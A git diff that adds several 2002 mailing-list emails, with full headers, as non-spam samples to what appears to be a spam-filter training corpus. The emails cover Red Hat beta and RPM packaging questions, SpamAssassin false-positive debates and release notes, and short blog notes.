ESMTP id g7L8cvJ18208 for + ; Wed, 21 Aug 2002 10:38:57 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020821103804.16933c93.matthias@egwn.net> +In-Reply-To: <20020820061352.0e42958d.kilroy@kamakiriad.com> +References: <20020816.utj.20032800@www.dudex.net> + <20020816114759.2b1ed25e.matthias@egwn.net> + <1029767992.32421.6.camel@turner.gestalt.entity.net> + <20020819164430.437451f6.matthias@egwn.net> + <20020820061352.0e42958d.kilroy@kamakiriad.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 10:38:04 +0200 +Date: Wed, 21 Aug 2002 10:38:04 +0200 + +Once upon a time, Brian wrote : + +> On Mon, 19 Aug 2002 16:44:30 +0200, Matthias Saou +> wrote: +> +> [snipped] +> +> > Then why bother : The new Red Hat Linux beta "(null)" is now available +> > and should be announced anytime now. It contains rpm 4.1-0.81. +> > +> > You can grab it from here : +> > ftp://ftp.freshrpms.net/pub/redhat/linux/beta/null/ +> +> What's the official "apt" line for it? Is it just 7.4 instead of +> 7.3, or did they make this one 8.0? + +This is a beta, probably of 8.0 although it's numbered 7.3.94. As such, +I've set up no apt repository for it, although you may find a few of my +packages recompiled for it under the /pub/freshrpms/null/ directory of my +ftp server. + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01269.4b518a53f76da3fd4d469c5e2e557340 b/bayes/spamham/easy_ham_2/01269.4b518a53f76da3fd4d469c5e2e557340 new file mode 100644 index 0000000..fee014c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01269.4b518a53f76da3fd4d469c5e2e557340 @@ -0,0 +1,80 @@ +From rpm-list-admin@freshrpms.net Wed Aug 21 10:13:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BFC9143C32 + for ; Wed, 21 Aug 2002 05:13:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 10:13:17 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L9DVZ17460 for + ; Wed, 21 Aug 2002 10:13:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7L9A2J23233; Wed, 21 Aug 2002 11:10:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7L99EJ20019 for + ; Wed, 21 Aug 2002 11:09:14 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g7L98qM17040 for ; + Wed, 21 Aug 2002 04:08:53 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: advice on 7.3.92 to 7.3.93, and Apt compiling +Message-Id: <20020821040852.041d8b6e.kilroy@kamakiriad.com> +In-Reply-To: <20020821103804.16933c93.matthias@egwn.net> +References: <20020816.utj.20032800@www.dudex.net> + <20020816114759.2b1ed25e.matthias@egwn.net> + <1029767992.32421.6.camel@turner.gestalt.entity.net> + <20020819164430.437451f6.matthias@egwn.net> + <20020820061352.0e42958d.kilroy@kamakiriad.com> + <20020821103804.16933c93.matthias@egwn.net> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 04:08:52 -0500 +Date: Wed, 21 Aug 2002 04:08:52 -0500 + +On Wed, 21 Aug 2002 10:38:04 +0200, Matthias Saou wrote: + +> This is a beta, probably of 8.0 although it's numbered 7.3.94. As such, +> I've set up no apt repository for it, although you may find a few of my +> packages recompiled for it under the /pub/freshrpms/null/ directory of my +> ftp server. + + Ah; ok. I'll wait. I've got enough bugs to swat, but I really look forward to it. Every version before now has seemed to have been bugfixes and meaningful upgrades of subtle stuff; I expect this one to be the "no excuses to run Windows" release to which I can point the unwashed hordes. + + :) + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I've been complaining for years, and almost no one listened. "Windows is +just easier" you said. "I don't want to learn anything new", you said. +Tell me how easy THIS is: +http://www.guardian.co.uk/Archive/Article/0,4273,4477138,00.html + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01270.db2a0585f2ba18c884352665b558eeee b/bayes/spamham/easy_ham_2/01270.db2a0585f2ba18c884352665b558eeee new file mode 100644 index 0000000..d4c69ba --- /dev/null +++ b/bayes/spamham/easy_ham_2/01270.db2a0585f2ba18c884352665b558eeee @@ -0,0 +1,99 @@ +From rpm-list-admin@freshrpms.net Wed Aug 21 15:56:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 12FDF43C32 + for ; Wed, 21 Aug 2002 10:56:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 15:56:06 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7LEtjZ30054 for + ; Wed, 21 Aug 2002 15:55:46 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7LEq2J31316; Wed, 21 Aug 2002 16:52:02 + +0200 +Received: from ex02.idirect.net (ex02.idirect.net [208.226.76.48]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7LEolJ20550 for + ; Wed, 21 Aug 2002 16:50:47 +0200 +X-Mimeole: Produced By Microsoft Exchange V6.0.4417.0 +Content-Class: urn:content-classes:message +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Subject: RE: RPM's %post, %postun etc +Message-Id: +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: RPM's %post, %postun etc +Thread-Index: AcJJGi1/SASQja5LQ9OUT9svWVeKZwAB7R8Q +From: "Harig, Mark A." +To: +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7LEolJ20550 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 10:50:40 -0400 +Date: Wed, 21 Aug 2002 10:50:40 -0400 + + + +> -----Original Message----- +> From: Torsten Bronger [mailto:bronger@physik.rwth-aachen.de] +> Sent: Wednesday, August 21, 2002 7:36 AM +> To: rpm-zzzlist@freshrpms.net +> Subject: Re: RPM's %post, %postun etc +> +> +> Halloechen! +> +> On Mittwoch, 21. August 2002 08:37 schrieben Sie: +> > Have you tried rebuilding your package on a system that has +> a stock (or +> > no) .rpmmacros file? Does it still build (and +> install/uninstall) the way +> > you intended it to? +> +> It can't, because then %{texhash} is not defined. But how +> can I define a +> macro in the spec file? +> + +http://www.rpm.org/rpmapi-4.1/macros.html + +> The problem exists when someone wants to install many RPMs, among them +> mine. Let's assume that every package that adds files to TeX's +> file tree runs texhash or equivalent. This would be a desaster! +> There are only two solutions: (1) When installing many packages +> (maybe in context of a complete system installation), %post etc. +> are skipped and a complete update script is launched after *all* +> packages have been installed. (2) I leave the taxhash thing out. +> But then the user would have to do it. +> +> What's the way to go? +> +> Tschoe, +> Torsten. +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +> + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + diff --git a/bayes/spamham/easy_ham_2/01271.fcb7759918a0e1a1f15aa3318cae1ed1 b/bayes/spamham/easy_ham_2/01271.fcb7759918a0e1a1f15aa3318cae1ed1 new file mode 100644 index 0000000..2f663f8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01271.fcb7759918a0e1a1f15aa3318cae1ed1 @@ -0,0 +1,79 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 16:40:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B68B243C32 + for ; Wed, 21 Aug 2002 11:40:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:40:12 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LFahZ31574 for ; Wed, 21 Aug 2002 16:36:43 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hXVj-0003XF-00; Wed, + 21 Aug 2002 08:35:07 -0700 +Received: from eclectic.kluge.net ([66.92.69.221]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hXVG-0004V1-00 for ; + Wed, 21 Aug 2002 08:34:39 -0700 +Received: (from felicity@localhost) by eclectic.kluge.net (8.11.6/8.11.6) + id g7LFYSf01788; Wed, 21 Aug 2002 11:34:28 -0400 +From: Theo Van Dinter +To: Frank Pineau +Cc: SpamAssassin List +Subject: Re: [SAtalk] Highest-scoring false positive +Message-Id: <20020821153428.GI28416@kluge.net> +References: <1029568528.15032.111.camel@obi-wan.kenlabs.com> + + <20020821150422.GG28416@kluge.net> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-GPG-Keyserver: http://wwwkeys.pgp.net +X-GPG-Keynumber: 0xE580B363 +X-GPG-Fingerprint: 75B1 F6D0 8368 38E7 A4C5 F6C2 02E3 9051 E580 B363 +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 11:34:28 -0400 +Date: Wed, 21 Aug 2002 11:34:28 -0400 + +On Wed, Aug 21, 2002 at 10:16:33AM -0500, Frank Pineau wrote: +> Omaha Steaks *is* spam. I bought something from them once. *Great* steaks, but +> then they started calling me, emailing me, snail-mailing, constantly. I once + +If you sign up for something, it's not spam by definition, aggressive as +they may be. (I told them to stop calling me, and they stopped, so ...) + +-- +Randomly Generated Tagline: +We didn't put in ^^ because then we'd have to keep telling people what + it means, and then we'd have to keep telling them why it doesn't short + circuit. :-/ + -- Larry Wall in <199707300650.XAA05515@wall.org> + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01272.291f542e3dcbcb81d8cda2961ce8977f b/bayes/spamham/easy_ham_2/01272.291f542e3dcbcb81d8cda2961ce8977f new file mode 100644 index 0000000..214a578 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01272.291f542e3dcbcb81d8cda2961ce8977f @@ -0,0 +1,78 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 16:46:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 73C2243C34 + for ; Wed, 21 Aug 2002 11:46:48 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:46:48 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LFiwZ31952 for ; Wed, 21 Aug 2002 16:44:58 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hXeP-0004oL-00; Wed, + 21 Aug 2002 08:44:05 -0700 +Received: from dsl254-113-191.nyc1.dsl.speakeasy.net ([216.254.113.191] + helo=mail.pineaus.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17hXeB-0006mR-00 for + ; Wed, 21 Aug 2002 08:43:51 -0700 +Received: from frank2 (root@mail.pineaus.com [216.254.113.191]) by + mail.pineaus.com (8.12.5/8.12.5) with SMTP id g7LFhlti021355 for + ; Wed, 21 Aug 2002 10:43:47 -0500 +From: Frank Pineau +To: SpamAssassin List +Subject: Re: [SAtalk] Highest-scoring false positive +Reply-To: frank@pineaus.com +Message-Id: <85d7mugv6im41urql5nlrc1v8dsrc9d1sl@localhost> +References: <1029568528.15032.111.camel@obi-wan.kenlabs.com> + + <20020821150422.GG28416@kluge.net> + + <20020821153428.GI28416@kluge.net> +In-Reply-To: <20020821153428.GI28416@kluge.net> +X-Mailer: Forte Agent 1.92/32.572 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 10:43:32 -0500 +Date: Wed, 21 Aug 2002 10:43:32 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7LFiwZ31952 + +On Wed, 21 Aug 2002 11:34:28 -0400, you wrote: + +>If you sign up for something, it's not spam by definition, aggressive as +>they may be. (I told them to stop calling me, and they stopped, so ...) + + +I agree. In a way, I signed up just by buying steaks from them. However, once +I tell them to stop, everything after that is spam. I told them to stop *many* +times. + +It's a pity, too, since they have great steaks. Buying from them is just not +worth having to put up with all of that clinginess. + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01273.01c1a03bb435b7cfba44cdd57f3a4221 b/bayes/spamham/easy_ham_2/01273.01c1a03bb435b7cfba44cdd57f3a4221 new file mode 100644 index 0000000..3571196 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01273.01c1a03bb435b7cfba44cdd57f3a4221 @@ -0,0 +1,160 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 16:58:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 40F1843C32 + for ; Wed, 21 Aug 2002 11:58:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 16:58:50 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LFuHZ32418 for ; Wed, 21 Aug 2002 16:56:17 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hXp1-00071m-00; Wed, + 21 Aug 2002 08:55:03 -0700 +Received: from [212.2.178.26] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17hXo1-0002Dt-00 for ; + Wed, 21 Aug 2002 08:54:04 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g7LFrdp06540 for ; + Wed, 21 Aug 2002 16:53:39 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 1C54E43C32; Wed, 21 Aug 2002 11:51:06 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0817E33D87 for + ; Wed, 21 Aug 2002 16:51:06 +0100 + (IST) +To: spamassassin-talk@example.sourceforge.net +Subject: Re: [SAtalk] need to restart mass-checks (was: Re: 2.40 release procedure) +In-Reply-To: Message from Bart Schaefer of + "Wed, 21 Aug 2002 08:16:48 PDT." + +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020821155106.1C54E43C32@phobos.labs.netnoteinc.com> +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 16:51:00 +0100 +Date: Wed, 21 Aug 2002 16:51:00 +0100 + + +Bart Schaefer said: + +> Just FYI, spamassassin_pre_2_4_0b appears to be the head revision, and is +> not the same as the tip of the b2_4_0 branch. + +oops. OK, now fixed; I've updated b2_4_0 to match what I wanted, +accordingly. As a result, mass-checks do *NOT* need to be restarted as +the code and rules are the same as they were on HEAD. + +cvs tag spamassassin_pre_2_4_0b + +So, in full, here's the changes that are in spamassassin_pre_2_4_0b that +were not there before the branch: + + - rules fixed: HTTP_ESCAPED_HOST, HTTP_CTRL_CHARS_HOST. they were too + lax and caused FPs + + - Matt's faster HTML parser + + - commented rules un-commented again + + - a doco fix for spamd + + +and, for completeness, the relevant changes since Saturday: + + - the INSTALL file ;) + + - CALL_NOW now starts on a word boundary + + - Added examples to -R docs + + - Added Habeas HIL lookup + + - bug 385: spamcheck.py should handle 4xx errors -- full mailboxes etc. + -- with EX_TEMPFAIL. patch from ckd-spamassassin@ckdhr.com + (Christopher Davis) applied. + + - made spamcheck.py use exit code 75 if it cannot connect to spamd, + fixes bug 655 + + - spamd/spamd.raw: fixed bug 704: spamd was not able to unlink pid file + with -u arg + + - Makefile.PL: installing to random dirs now works fine + + - move MAILER_DAEMON into 70_cvs_rules_under_test.cf since it has been + improved remove extraneous mass-check line for DATE_YEAR_ZERO_FIRST + + - spamassassin.raw: merged -Z with -D + + - removed eff.org from whitelists, as per Marc's request + + - mass-check: added versioning and date to mass-check output + + - bug 658: ok_locales set to 'en' by default. changed to 'all', users + will have to customise for themselves. Made many tests which trigger + FPs on mail in ISO-2022-JP charsets, meta rules depending on + __ISO_2022_JP_DELIM. + + - fixed phrase-freq code for vastly better performance + + - rules/50_scores.cf: changed LISTBUILDER score back to -5.0 + + - lib/Mail/SpamAssassin/HTML.pm: catch background images in uri code + catch additional types of web bugs + + - rules/20_body_tests.cf: change CASHCASHCASH to meta rule to avoid + Japanese false matches, revise spam phrases descriptions to be clearer + (since a few are now basically compensation tests (please don't move + them to the compensation file)) + + - fixed bug in MIME_SUSPECT_NAME: text/plan attachments called foo.html + were triggering. + + - revise HTML comment tests to use HTML parser + + - revise MAILER_DAEMON rule (get rid of some spam matches without losing + any nonspam matches) + + - raise some negative scores that are way too low + + - remove "Friend" from DEAR_SOMETHING since it overlaps with DEAR_FRIEND + and can match "dear friend" in middle of sentence too much + + - require "Dear Friend" to start the paragraph + + - add new HTML tests for font colors and faces, reduce number of + different eval functions needed for HTML tests + +--j. + +-- +'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01274.0d083a2d3b30061efdc2cc73ee9e76e3 b/bayes/spamham/easy_ham_2/01274.0d083a2d3b30061efdc2cc73ee9e76e3 new file mode 100644 index 0000000..fef12ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/01274.0d083a2d3b30061efdc2cc73ee9e76e3 @@ -0,0 +1,31 @@ +From nobody@dogma.slashnull.org Wed Aug 21 17:23:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B5B8943C32 + for ; Wed, 21 Aug 2002 12:23:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:23:10 +0100 (IST) +Received: (from mail@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g7LGMmA01223; Wed, 21 Aug 2002 17:22:48 +0100 +Date: Wed, 21 Aug 2002 17:22:48 +0100 +Message-Id: <200208211622.g7LGMmA01223@dogma.slashnull.org> +From: nobody@dogma.slashnull.org +Subject: blogged item +To: yyyy+blogged@spamassassin.taint.org + + +Aaron sez: + + It's 1:30AM. Hours ago, my server seemed to stop working. I could ping + it, but I couldn't do anything else. We drove over to see what was up. + ... I'll just say that everything broke. Repeatedly. ... I think I + have a small idea what it's like to be Evan now. This is not what I want + to be when I grow up. + +Never mind that -- I think you now have an idea what it's like to be +an on-call sysadmin ;) + + + diff --git a/bayes/spamham/easy_ham_2/01275.768e4ed6bc161b039c2181d943af1412 b/bayes/spamham/easy_ham_2/01275.768e4ed6bc161b039c2181d943af1412 new file mode 100644 index 0000000..48ddeff --- /dev/null +++ b/bayes/spamham/easy_ham_2/01275.768e4ed6bc161b039c2181d943af1412 @@ -0,0 +1,33 @@ +From nobody@dogma.slashnull.org Wed Aug 21 17:49:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4D34D43C34 + for ; Wed, 21 Aug 2002 12:49:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:49:42 +0100 (IST) +Received: (from mail@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g7LGl4p01997; Wed, 21 Aug 2002 17:47:04 +0100 +Date: Wed, 21 Aug 2002 17:47:04 +0100 +Message-Id: <200208211647.g7LGl4p01997@dogma.slashnull.org> +From: nobody@dogma.slashnull.org +Subject: blogged item +To: yyyy+blogged@spamassassin.taint.org + +**Scraping**: I've read this before, but it's worth pointing to: Jon +Udell on SSL +Proxying. + + the browser's secure traffic flows to Proxomitron. It decrypts that + traffic, so you can see it in the log window, and then re-encrypts it to + the destination server. Coming back the other way, it decrypts the + server's responses, so you can see them in the log window, then + re-encrypts them to complete the secure loop back to the browser. It's + really quite amazing, and amazingly useful. Automation tasks that used to + look like more trouble than they were worth -- for example, driving a + HotMail or E*Trade account from a script -- suddenly look easy. + + + + diff --git a/bayes/spamham/easy_ham_2/01276.2492bcd768a07a92ee22c4762db629a2 b/bayes/spamham/easy_ham_2/01276.2492bcd768a07a92ee22c4762db629a2 new file mode 100644 index 0000000..b1949b1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01276.2492bcd768a07a92ee22c4762db629a2 @@ -0,0 +1,77 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 18:16:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC38243C38 + for ; Wed, 21 Aug 2002 13:16:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 18:16:16 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LHH2Z02984 for ; Wed, 21 Aug 2002 18:17:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hZ5V-0000Qp-00; Wed, + 21 Aug 2002 10:16:09 -0700 +Received: from alpha.exit0.org.1-254.250.190.207.in-addr.arpa + ([207.190.250.99] helo=alpha.exit0.org) by usw-sf-list1.sourceforge.net + with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hZ55-0007tT-00 for + ; Wed, 21 Aug 2002 10:15:43 -0700 +Received: (qmail 16304 invoked by uid 7794); 21 Aug 2002 17:17:38 -0000 +Received: from andrew@exit0.us by alpha by uid 7791 with + qmail-scanner-1.13 (spamassassin: 2.31. Clear:. Processed in 0.018966 + secs); 21 Aug 2002 17:17:38 -0000 +Received: from outbound.infosysinc.com (HELO shiva.infosysinc.com) + (207.190.250.6) by 0 with SMTP; 21 Aug 2002 17:17:38 -0000 +Subject: Re: [SAtalk] CONFIDENTIAL +From: "f. Andrew Lawton" +To: Spamassassin-talk@example.sourceforge.net +In-Reply-To: <18C15F6E-B4D1-11D6-BDA3-00039396ECF2@deersoft.com> +References: <18C15F6E-B4D1-11D6-BDA3-00039396ECF2@deersoft.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029935708.2998.1.camel@shiva> +MIME-Version: 1.0 +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Aug 2002 13:15:07 +0000 +Date: 21 Aug 2002 13:15:07 +0000 + +On Wed, 2002-08-21 at 06:42, Craig R.Hughes wrote: +> On Tuesday, August 20, 2002, at 09:38 PM, Mike Burger wrote: +> +> > Of course, since I have this list before my SA filter, it got through. +> +> That's exactly what they're counting on! Actually, I think it's +> more likely spammer humor, and sa-talk is on a list somewhere. +> + +Oh, I dunno. Humor or not it, lets some of us with new installs test 